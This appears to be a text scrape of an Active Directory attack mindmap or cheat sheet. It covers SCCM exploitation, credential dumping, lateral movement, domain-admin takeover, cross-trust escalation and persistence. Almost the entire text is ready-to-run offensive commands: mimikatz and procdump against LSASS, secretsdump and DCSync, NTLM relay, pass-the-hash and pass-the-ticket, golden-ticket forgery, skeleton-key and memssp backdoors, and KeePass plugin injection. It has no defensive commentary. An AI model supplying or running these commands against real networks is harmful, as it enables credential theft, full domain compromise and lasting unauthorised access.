      • Enroll new computer x in AD then remove host SPN from the machine account
        • setspn -D host/<newcomputer> <newcomputer> setspn -D host/<newcomputer>.<domain> <newcomputer>
          • wait 5m for client push
            • ntlmrelayx.py ntlmrelayx.py -tf <no_signing_target> -smb2support -socks
              • cleanup

User + Pass

  • SCCM SMB service (445/TCP) on a DP
    • cmloot.py cmloot.py <domain>/<user>:<password>@<sccm_dp> -cmlootinventory sccmfiles.txt
  • SCCM HTTP service (80/TCP or 443/TCP) on a DP
    • SCCMSecrets.py SCCMSecrets.py policies -mp http://<management_point> -u '<machine_account>$' -p '<machine_password>' -cn '<client_name>'
    • SCCMSecrets.py SCCMSecrets.py files -dp http://<distribution_point> -u '<user>' -p '<password>'
    • sccm-http-looter sccm-http-looter -server <ip_dp>

SCCM ADMIN

  • SCCM MSSQL != SSCM server
    • sccmhunter.py sccmhunter.py mssql -u <user> -p <password> -d <domain> -dc-ip <dc_ip> -debug -tu <target_user> -sc <site_code> -stacked
      • ntlmrelayx.py ntlmrelayx.py -smb2support -ts -t mssql://<sccm_mssql> -q "<query>"
        • coerce sccm_mssql -> attacker
          • sccmhunter.py sccmhunter.py admin -u <target_user>@<domain> -p '<password>' -ip <sccm_ip>

Admin MSSQL

  • SCCM MSSQL != SSCM server
    • ntlmrelayx.py ntlmrelayx.py -t <sccm_mssql> -smb2support -socks
      • coerce sccm_server
        • smbexec.py proxychains smbexec.py -no-pass <domain>/'<sccm_server>$'@<sccm_ip>

User + Pass

  • add computer
    • sccmwtf.py sccmwtf.py newcomputer newcomputer.<domain> <target> '<domain>\<computer_added>$' '<computer_pass>'
      • get NetworkAccessUsername and NetworkAccessPassword
        • policysecretunobfuscate.py policysecretunobfuscate.py
          • delete device created after sccmadmin
    • SharpSCCM.exe SharpSCCM.exe get secrets -r newcomputer -u <computer_added>$ -p <computer_pass>"
      • cleanup

NAA credentials

  • dploot.py dploot.py sccm -u <admin> -p '<password>' <sccm_target>
  • sccmhunter.py sccmhunter.py dpapi -u <admin> -p '<password>' -target <sccm_target> -debug
  • SharpSCCM.exe SharpSCCM.exe local secrets -m disk
  • SharpSCCM.exe SharpSCCM.exe local secrets -m wmi

Site DB credentials

  • secretsdump.py secretsdump.py <domain>/<admin>:'<pass>'@<sccm_target>
    • mssqlclient.py mssqlclient.py -windows-auth -hashes '<sccm_target_hashNT>' '<domain>/<sccm_target>$'@<sccm_mssql>
      • use CM_<site_code>;
        • SELECT * FROM SC_UserAccount;
          • sccmdecryptpoc.exe <cyphered_value>

lat

  • SharpSCCM.exe SharpSCCM.exe exec -p <binary> -d <device_name> -sms <SMS_PROVIDER> -sc <SITECODE> --no-banner
  • sccmhunter.py sccmhunter.py admin -u <user>@<domain> -p '<password>' -ip <sccm_ip>
    • get_device <hostname>
      • interact <device_id>
        • script xploit.ps1

  • SharpSCCM.exe SharpSCCM.exe get devices -sms <SMS_PROVIDER> -sc <SITECODE> -n <NTLMRELAYX_LISTENER_IP> -p "Name" -p "ResourceId" -p "SMSUniqueIdentifier"
    • SharpSCCM.exe SharpSCCM.exe remove device GUID:<GUID> -sms <SMS_PROVIDER> -sc <SITECODE>

  • as sccm admin
    • SCCMHound.exe SCCMHound.exe --server <server> --sitecode <sitecode>Users sessions

Admin access

45 cmds open ↗

  • LSASS as protected process
    • PPLdump64.exe PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp #before 2022-07-22 update
    • mimikatz mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-"
    • procdump.exe procdump.exe -accepteula -ma lsass.exe lsass.dmp
    • mimikatz mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"
    • msf> msf> load kiwi creds_all
    • nxc nxc smb <ip_range> -u <user> -p <password> -M lsassy
    • lsassy lsassy -d <domain> -u <user> -p <password> <ip>

NTLMPassTheHash

  • nxc nxc smb <ip_range> -u <user> -p <password> --sam
  • msf> msf> hashdump
  • mimikatz mimikatz "privilege::debug" "lsadump::sam" "exit"
  • secretsdump.py secretsdump.py <domain>/<user>:<password>@<ip>
  • reg reg save HKLM\SAM <file>; reg save HKLM\SYSTEM <file>
    • secretsdump.py secretsdump.py -system SYSTEM -sam SAM LOCAL
  • reg.py reg.py <domain>/<user>:<password>@<ip> backup -o '\\<smb_ip>\share'
    • secretsdump.py secretsdump.py -system SYSTEM -sam SAM LOCAL
  • regsecrets.py regsecrets.py <domain>/<user>:<password>@<ip>

MsCache 2User + Pass

  • nxc nxc smb <ip_range> -u <user> -p <password> --lsa
  • mimikatz mimikatz "privilege::debug" "lsadump::lsa" "exit"
  • reg reg save HKLM\SECURITY <file>; reg save HKLM\SYSTEM <file>
    • secretsdump.py secretsdump.py -system SYSTEM -security SECURITY
  • reg.py reg.py <domain>/<user>:<password>@<ip> backup -o '\\<smb_ip>\share'

    • nxc nxc smb <ip_range> -u <user> -p <password> --dpapi [cookies] [nosystem]
    • donpapi donpapi <domain>/<user>:<password>@<target>
    • dpapidump.py dpapidump.py <domain>/<user>:<password>@<target>
    • get masterkey
      • mimikatz mimikatz "sekurlsa::dpapi"
        • dploot.py dploot.py browser -d <domain> -u <user> -p '<password>' <ip> -mkfile <masterkeys_file>
      • lsassy lsassy -d <domain> -u <user> -p <password> <ip> -m rdrleakdiag -M masterkeys
        • dploot.py dploot.py browser -d <domain> -u <user> -p '<password>' <ip> -mkfile <masterkeys_file>
    • SharpDPAPI.exe SharpDPAPI.exe triage
  • Crack users masterkeyDPAPImk
    • copy c:\users\<user>\AppData\Roaming\Microsoft\Protect\<SID>
      • DPAPImk2john.py DPAPImk2john.py --preferred <prefered_file>
        • DPAPImk2john.py DPAPImk2john.py -c domain -mk <masterkey> -S <sid>

  • ImpersonateACLUser + Pass
    • msf> msf> use incognito impersonate_token <domain>\\<user>
    • nxc nxc smb <ip> -u <localAdmin> -p <password> --loggedon-users
      • nxc nxc smb <ip> -u <localAdmin> -p <password> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>
    • irs.exe irs.exe list
      • irs.exe irs.exe exec -p <pid> -c <command>
  • Impersonate with adcsNTLMPass The Hash / Ticket / Certificate
    • masky masky - d <domain> -u <user> (-p <password> || -k || -H <hash>) -ca <certificate authority> <ip>
  • Impersonate RDP SessionRDP
    • psexec.exe psexec.exe -s -i cmd
      • query query user
        • tscon.exe tscon.exe <id> /dest:<session_name>

  • Find UsersUsername
    • smbmap.py smbmap.py --host-file ./computers.list -u <user> -p <password> -d <domain> -r 'C$\Users' --dir-only --no-write-check --no-update --no-color --csv users_directory.csv
  • Extract KeepassUser + Pass
    • KeePwn.py plugin add -u '<user>' -p '<password>' -d '<domain>' -t <target> --plugin KeeFarceRebornPlugin.dll
    • KeePwn.py trigger add -u '<user>' -p '<password>' -d '<domain>' -t <target>
  • Hybrid (Azure AD-Connect)DCSYNC
    • Dump cleartext password of MSOL Account on ADConnect Server
      • azuread_decrypt_msol_v2.ps1 azuread_decrypt_msol_v2.ps1
      • nxc nxc smb <ip> -u <user> -p <password> -M msol

Lateral Move

64 cmds open ↗

Admin

  • Interactive-shell - psexecAuthority/System
    • psexec.py psexec.py <domain>/<user>:<password>@<ip>
    • psexec.exe psexec.exe -AcceptEULA \\<ip>
    • psexecsvc.py psexecsvc.py <domain>/<user>:<password>@<ip>
  • Pseudo-shell (file write and read)
    • atexec.py atexec.py <domain>/<user>:<password>@<ip> "command"
    • smbexec.py smbexec.py <domain>/<user>:<password>@<ip>
    • wmiexec.py wmiexec.py <domain>/<user>:<password>@<ip>
    • dcomexec.py dcomexec.py <domain>/<user>:<password>@<ip>
    • nxc nxc smb <ip_range> -u <user> -p <password> -d <domain> -x <cmd>
    • evil-winrm evil-winrm -i <ip> -u <user> -p <password>
    • Enter-PSSession Enter-PSSession -ComputerName <computer> -Credential <domain>\<user>
    • nxc nxc winrm <ip_range> -u <user> -p <password> -d <domain> -x <cmd>
    • xfreerdp xfreerdp /u:<user> /d:<domain> /p:<password> /v:<ip>
  • SMBSearch files
    • smbclient.py smbclient.py <domain>/<user>:<password>@<ip>
    • smbclient-ng.py smbclient-ng.py -d <domain> -u <user> -p <password> --host <ip>
  • MSSQLMSSQL
    • nxc nxc mssql <ip_range> -u <user> -p <password>
    • mssqlclient.py mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>

  • Pass the Hash
    • MSSQL/PseudoShell PsExec/SMB...Admin
      • impacket impacket : same as with creds, but use -hashes ':<hash>'
      • nxc nxc : same as with creds, but use -H ':<hash>'
    • mimikatz mimikatz "privilege::debug sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash>"Admin
      • reg.py reg.py <domain>/<user>@<ip> -hashes ':<hash>' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
        • xfreerdp xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>
      • evil-winrm evil-winrm -i <ip> -u <user> -H <hash>
  • Overpass the Hash / Pass the key (PTK)Admin
    • Rubeus.exe Rubeus.exe asktgt /user:victim /rc4:<rc4value>
      • Rubeus.exe Rubeus.exe ptt /ticket:<ticket>
      • Rubeus.exe Rubeus.exe createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
    • getTGT.py getTGT.py <domain>/<user> -hashes :<hashes>

  • Pass the Ticket (ccache / kirbi)
    • Convert Format
      • ticketConverter.py ticketConverter.py <kirbi||ccache> <ccache||kirbi>
    • export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccacheAdmin
      • impacket impacket tools: Same as Pass the hash but use : -k and -no-pass for impacket
    • mimikatz mimikatz kerberos::ptc "<ticket>"
    • Rubeus.exe Rubeus.exe ptt /ticket:<ticket>
    • secretsdump.py proxychains secretsdump.py -k'<domain>'/'<user>'@'<ip>'
    • Modify SPNPassTheTicket
      • tgssub.py tgssub.py -in <ticket.ccache> -out <newticket.ccache> -altservice "<service>/<target>" #pr 1256
  • AeskeyAdmin
    • impacket impacket tools: Same as Pass the hash but use : -aesKey for impacket (and use FQDN)
    • secretsdump.py proxychains secretsdump.py -aesKey <key> '<domain>'/'<user>'@'<ip>'

  • lookupsid.py proxychains lookupsid.py <domain>/<user>@<ip> -no-pass -domain-sids
  • mssqlclient.py proxychains mssqlclient.py -windows-auth <domain>/<user>@<ip> -no-passMSSQL
  • secretsdump.py proxychains secretsdump.py -no-pass '<domain>'/'<user>'@'<ip>'DCSYNC
  • smbclient.py proxychains smbclient.py -no-pass <user>@<ip>Search files
  • atexec.py proxychains atexec.py -no-pass <domain>/<user>@<ip> "command"Authority/System
  • smbexec.py proxychains smbexec.py -no-pass <domain>/<user>@<ip>Authority/System

  • unpac the hash
    • certipy certipy auth -pfx <crt_file> -dc-ip <dc_ip>
    • gettgtpkinit.py gettgtpkinit.py -cert-pfx <crt.pfx> -pfx-pass <crt_pass> "<domain>/<dc_name>" <tgt.ccache>
      • getnthash.py getnthash.py -key '<AS-REP encryption key>' '<domain>'/'<dc_name>'
  • Pass the certificate
    • pkinit
      • gettgtpkinit.py gettgtpkinit.py -cert-pfx "<pfx_file>" ^[-pfx-pass "<cert-password>"] "<fqdn_domain>/<user>" "<tgt_ccache_file>"
      • Rubeus.exe Rubeus.exe asktgt /user:"<username>" /certificate:"<pfx_file>" [/password:"<certificate_password>"] /domain:"<fqdn-domain>" /dc:"<dc>" /show
      • certipy certipy auth -pfx <crt_file> -dc-ip <dc_ip>
    • schannel
      • certipy certipy auth -pfx <pfx_file> -ldap-shell
        • add_computer
      • certipy certipy cert -pfx "<pfx_file>" -nokey -out "user.crt"
        • certipy certipy cert -pfx "<pfx_file>" -nocert -out "user.key"
          • passthecert.py passthecert.py -action ldap-shell -crt <user.crt> -key <user.key> -domain <domain> -dc-ip <dc_ip>

  • find mssql access
    • nxc nxc mssql <ip> -u <user> -p <password> -d <domain>MSSQL
  • Users or Computers with SQL admin
  • MATCH MATCH p=(u:Base)-[:SQLAdmin]->(c:Computer) RETURN pMSSQL
  • mssqlclient.py mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>
    • enum_db
    • enable_xp_cmdshell
    • enum_impersonate
      • exec_as_user <user>MSSQL
      • exec_as_login <login>MSSQL
    • xp_dir_tree <ip>COERCE SMB
    • trustlink

Domain admin

8 cmds open ↗

Lateral moveCrack hash

  • nxc nxc smb <dcip> -u <user> -p <password> -d <domain> --ntds
  • secretsdump.py secretsdump.py '<domain>/<user>:<pass>'@<ip>
  • ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
    • secretsdump.py secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
  • msf> msf> windows/gather/credentials/domain_hashdump
  • mimikatz mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator
  • certsync certsync -u <user> -p '<password>' -d <domain> -dc-ip <dc_ip> -ns <name_server>

Credentials

  • donpapi donpapi collect - H ':<hash>' <domain>/<user>@<ip_range> -t ALL --fetch-pvk

Trusts

26 cmds open ↗

  • nltest.exe nltest.exe /trusted_domains
  • ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
  • Get-DomainTrust Get-DomainTrust -Domain <domain>
  • Get-DomainTrustMapping Get-DomainTrustMapping
  • ldeep ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> trusts
  • sharphound.exe sharphound.exe -c trusts -d <domain>
    • MATCH MATCH p=(:Domain)-[:TrustedBy]->(:Domain) RETURN p
  • Get Domains SID
    • Get-DomainSID Get-DomainSID -Domain <domain> Get-DomainSID -Domain <target_domain>
    • lookupsid.py lookupsid.py -domain-sids <domain>/<user>:<password>'@<dc> 0 lookupsid.py -domain-sids <domain>/<user>:<password>'@<target_dc> 0

  • Trust KeyPassTheTicket
    • mimikatz mimikatz lsadump::trust /patch
      • mimikatz mimikatz kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_sid> /aes256:<trust_key_aes256> /sids:<target_domain_sid>-519 /service:krbtgt /target:<target_domain> /ptt
    • secretsdump.py secretsdump.py -just-dc-user '<parent_domain>$' <domain>/<user>:<password>@<dc_ip>
      • ticketer.py ticketer.py -nthash <trust_key> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 -spn krbtgt/<parent_domain> trustfakeuser
  • Golden TicketPassTheTicket
    • mimikatz mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
      • mimikatz mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID-519> /ptt
    • raiseChild.py raiseChild.py <child_domain>/<user>:<password>
    • ticketer.py ticketer.py -nthash <child_krbtgt_hash> -domain-sid <child_sid> -domain <child_domain> -extra-sid <parent_sid>-519 goldenuser
  • Unconstrained delegation

  • same as Child to parent

  • DomainA <--> DomainB trust (B trust A, A trust B)
    • from A to B FOREST_TRANSITIVE
      • password reuselat move (creds/pth/...)
      • Foreign group and usersACL
        • Users with foreign Domain Group Membership
          • MATCH MATCH p=(n:User {domain:"<DOMAIN.FQDN>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p
        • Group with foreign Domain Group Membership
          • MATCH MATCH p=(n:Group {domain:"<DOMAIN.FQDN>"})-[:MemberOf]->(m:Group) WHERE m.domain<>n.domain RETURN p
      • SID History on BPassTheTicket
        • Golden ticket
          • mimikatz mimikatz lsadump::dcsync /domain:<domain> /user:<domain>\krbtgt
            • mimikatz mimikatz kerberos::golden /user:Administrator /krbtgt:<HASH_KRBTGT> /domain:<domain> /sid:<user_sid> /sids:<RootDomainSID>-<GROUP_SID_SUP_1000> /ptt
          • ticketer.py ticketer.py -nthash <krbtgt> -domain-sid <domain_a> -domain <domain_a> -extra-sid <domain_b_sid>-<group_sid sup 1000> fakeuser
        • Trust ticket
          • secretsdump.py secretsdump.py -just-dc-user '<domainB>' <domainA>/<user>:'<password>'@<dc_a>
            • ticketer.py ticketer.py -nthash <trust_hash> -domain-sid <sid_a> -domain <domain_a> -extra-sid <domain_b_sid>-<group_sid sup 1000> -spn krbtgt/<domain_a> fakeuser
      • ADCS abuseADCS
    • from A to B is FOREST_TRANSITIVE|TREAT_AS_EXTERNAL
  • DomainA <-- DomainB trust (B trust A / A access B)
    • Same as double trust, but no unconstrained delegation as B can't connect to A
  • DomainA --> DomainB trust (A trust B / B access A)

Persistence

12 cmds open ↗

  • net group "domain admins" myuser /add /domain

  • ticketer.py ticketer.py -aesKey <aeskey> -domain-sid <domain_sid> -domain <domain> <anyuser>
  • mimikatz mimikatz "kerberos::golden /user:<admin_user> /domain:<domain> /sid:<domain-sid>/aes256:<krbtgt_aes256> /ptt"

  • mimikatz mimikatz "kerberos::golden /sid:<current_user_sid> /domain:<domain-sid> /target:<target_server> /service:<target_service> /aes256:<computer_aes256_key> /user:<any_user> /ptt"
  • ticketer.py ticketer.py -nthash <machine_nt_hash> -domain-sid <domain_sid> -domain <domain> <anyuser>

  • PowerShell New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

  • mimikatz mimikatz "privilege::debug" "misc::skeleton" "exit" #password is mimikatz

  • mimikatz mimikatz "privilege::debug" "misc::memssp" "exit"
    • C:\Windows\System32\kiwissp.log

  • certipy certipy ca -backup -ca '<ca_name>' -username <user>@<domain> -hashes <hash>
    • certipy certipy forge -ca-pfx <ca_private_key> -upn <user>@<domain> -subject 'CN=<user>,CN=Users,DC=<CORP>,DC=<LOCAL>

  • ticketer.py ticketer.py -request -domain <domain> -user <user> -password <password> -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid> -user-id <user_id> -groups '512,513,518,519,520' <anyuser>

  • ticketer.py ticketer.py -request -impersonate <anyuser> -domain <domain> -user <user> -password <password> -nthash <hash> -aesKey <aeskey> -domain-sid <domain_sid> 'ignored'